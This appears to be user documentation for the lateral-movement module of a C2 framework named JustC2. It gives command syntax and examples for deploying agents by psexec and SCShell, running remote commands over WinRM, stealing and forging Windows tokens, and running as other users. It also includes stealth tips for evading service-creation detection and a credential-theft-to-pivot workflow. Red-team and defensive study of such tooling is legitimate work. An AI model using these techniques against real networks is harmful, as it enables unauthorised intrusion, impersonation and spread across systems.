Lateral Movement

The LateralMovement-BOF module provides commands for moving from a compromised machine to others within the network. It includes remote execution techniques, security token manipulation, and execution as other users.

Available on agents: Beacon, Gopher (Windows only).

Remote Execution — jump#

The jump commands deploy a new agent on a remote machine.

jump psexec#

Remote execution by creating a service on the target machine, similar to Sysinternals’ PsExec tool. Creates a Windows service, uploads the payload and executes it.

Requires: administrator privileges on the target machine and SMB connectivity (port 445).

jump psexec --target <hostname/IP> --listener <listener_name> [--service_name <name>]

Example:

jump psexec --target DC01.domain.local --listener http-listener
jump psexec --target 192.168.1.10 --listener http-listener --service_name MyService

When to use: When you have admin access on the target and are not concerned about a visible service being created. This is the most direct and reliable technique, but also the noisiest — created services are detectable by EDR/SIEM.

jump scshell#

Remote execution via SCShell — modifies the binary path of an existing service using ChangeServiceConfigA instead of creating a new one. Stealthier than PsExec.

jump scshell --target <hostname/IP> --service <service_name> --payload <command>

Example:

jump scshell --target SRV01 --service wuauserv --payload "C:\Windows\Temp\agent.exe"

When to use: When you need more stealth. By modifying an existing service instead of creating a new one, the forensic footprint is reduced. Ideal when there is active monitoring of service creation events (Event ID 7045). Caution: if the modified service is critical, it may cause system issues.

Remote Execution — invoke#

The invoke commands execute commands on remote machines without deploying a full agent.

invoke winrm#

Execute a command on a remote machine using WinRM (Windows Remote Management).

invoke winrm --target <hostname/IP> --command <command>

Example:

invoke winrm --target DC01 --command "whoami /all"
invoke winrm --target 192.168.1.5 --command "net user /domain"

When to use: When WinRM is enabled on the target (port 5985/5986). Useful for one-off command execution without deploying an agent. Ideal for quick reconnaissance or running stagers.

invoke scshell#

Execute a remote command via SCShell without deploying an agent.

invoke scshell --target <hostname/IP> --service <service_name> --command <command>

Example:

invoke scshell --target SRV02 --service Spooler --command "powershell -enc XXXXXXXX"

When to use: Similar to jump scshell but without deploying a full agent. Useful for one-off command execution when you want to avoid creating new services.

Token Manipulation — token#

The token commands allow creating or stealing Windows security tokens, which can then be used to perform actions under another user’s identity.

token make#

Create a new access token from known credentials.

token make --domain <domain> --username <user> --password <password>

Example:

token make --domain CORP --username admin_user --password "P@ssw0rd123"

When to use: When you have credentials (obtained via hashdump, dcsync, askcreds, etc.) and need to act as that user without an interactive logon. The created token is applied to the current agent, so all subsequent commands will execute under that identity. Ideal before using jump psexec or invoke winrm to a machine where that user has access.

token steal#

Steal the security token from a running process.

token steal --pid <PID>

Example:

token steal --pid 4532

GUI integration: Also available from the Process Browser — right-click a process → Steal Token.

When to use: When a process is running as a user of interest (a domain admin with an active session, a service running as a privileged account, etc.). Use the Process Browser or ps to identify processes belonging to target users, then steal their token. Requires SeDebugPrivilege or admin privileges.

Run as Another User — runas#

runas-user#

Execute a command as another user using CreateProcessWithLogonW.

runas-user --credentials <DOMAIN\user> --password <password> --command <command>

Example:

runas-user --credentials "CORP\svc_backup" --password "Backup2024!" --command "cmd.exe /c dir \\\\FileServer\\C$"

When to use: When you need to execute a specific command with another user’s credentials without modifying the current agent’s token. Unlike token make, it does not alter the agent’s security context — it is a one-off execution.

runas-session#

Execute a command in another user’s session. Requires SYSTEM privileges.

runas-session --session <session_id> --command <command>

Example:

runas-session --session 2 --command "C:\Windows\Temp\agent.exe"

When to use: When you need to act within a specific user’s GUI session — for example, to take screenshots of their desktop, access their open browser, or interact with applications that only exist in their session. Use quser (from the SAR-BOF module) to get session IDs. You need to be SYSTEM (use getsystem from the Elevation-BOF module first).

GUI Integration#

The LateralMovement-BOF module integrates with the JustC2 graphical interface:

• Targets Panel: Right-click a registered target → options for PsExec or WinRM directly from the context menu.
• Process Browser: Right-click a process → Steal Token to steal that process’s security token.

Typical Workflow#

1. Obtain credentials: Use hashdump, dcsync, or askcreds to obtain credentials.
2. Create token or impersonate:
   • token make if you have username/password
   • token steal if there is a process belonging to the target user running
3. Execute on remote machine:
   • jump psexec to deploy a new agent (fast, noisy)
   • jump scshell to deploy an agent stealthily
   • invoke winrm for one-off commands
4. Actions in user sessions:
   • runas-session to act within a user’s GUI session